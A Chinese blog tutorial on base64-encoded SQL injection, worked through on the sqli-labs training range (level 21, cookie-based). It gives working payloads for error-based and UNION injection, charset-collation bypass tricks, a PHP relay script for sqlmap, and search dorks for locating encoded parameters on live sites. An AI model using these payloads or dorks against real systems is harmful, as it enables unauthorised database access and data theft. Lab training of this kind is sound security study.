SQL注入之BASE64变形注入

注入简介


什么是base64注入?

base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密意外,其中注入方式与常规注入一般无二

编码工具选择

在线工具:http://tool.oschina.net/encrypt?type=3

也可以使用burp中自带的编码模块(decoder)

如何发现此漏洞?

在互联网系统中,目前遇到两种base64加密传参方式

第一种,例如id=1,把id=1全部加密处理,得到aWQ9MQ==,直接搜索inurl:?aWQ0

第二种,只处理传参值,得到id=MQ==,搜索inurl:?id=M*=

注入实现


靶场选择

此处继续选用sqlilabs作为测试靶场,第21关,是关于cookie的base64变形注入

漏洞复现

打开靶场所在url,是一个登录界面输入用户名密码,admin/666666,登陆成功,界面如下图

从上图可以看到,系统返回了我们的cookie值,并且进行了编码,这里我们可以使用抓包修改cookie,经过解码,YWRtaW4 =的值是admin,对admin'进行编码,观察页面变化,如下图

尝试闭合原语句,payload:admin')#,如下图

由于这里发生mysql报错,直接尝试报错注入,payload:admin') and updatexml(1,concat(0x7e,database()),1)#,如下图

知识扩展


再继续测试的过程中可能会遇到,提示:Error: Illegal mix of collations for operation 'UNION',这种错误的成因是因为编码的缘故,字符集的编码不同所导致的,要解决就配合convart、using latin1函数来解决。

CONVERT() 函数是把日期转换为新数据类型的通用函数。

大致poyload如下

UNION SELECT 1,2,3,4,5,6,7,convert(Table_Name using latin1) from information_schema.tables Where table_Schema=database()--+

参考文章:https://www.2cto.com/article/201202/121073.html

There are 3 ways to bypass this error:
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))

 
Other ways (Thanks to benzi):
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

自动化工具


sqlmap

原则上,只要抓包加上–tamper base64encode扩展模块就可以了,未实验

第二个姿势,针对get型,可以尝试写一个demo

命名为test.php,如下

<?php 
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/xxx.php?{$id}");
?>

注意:xxx.php是原网站页面,结下了sqlmap语句可以直接写成

sqlmap-u "http://127.0.0.1/test.php?id=12" -v3

参考文章:https://www.cnblogs.com/xishaonian/p/6370354.html

暂时这些吧

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值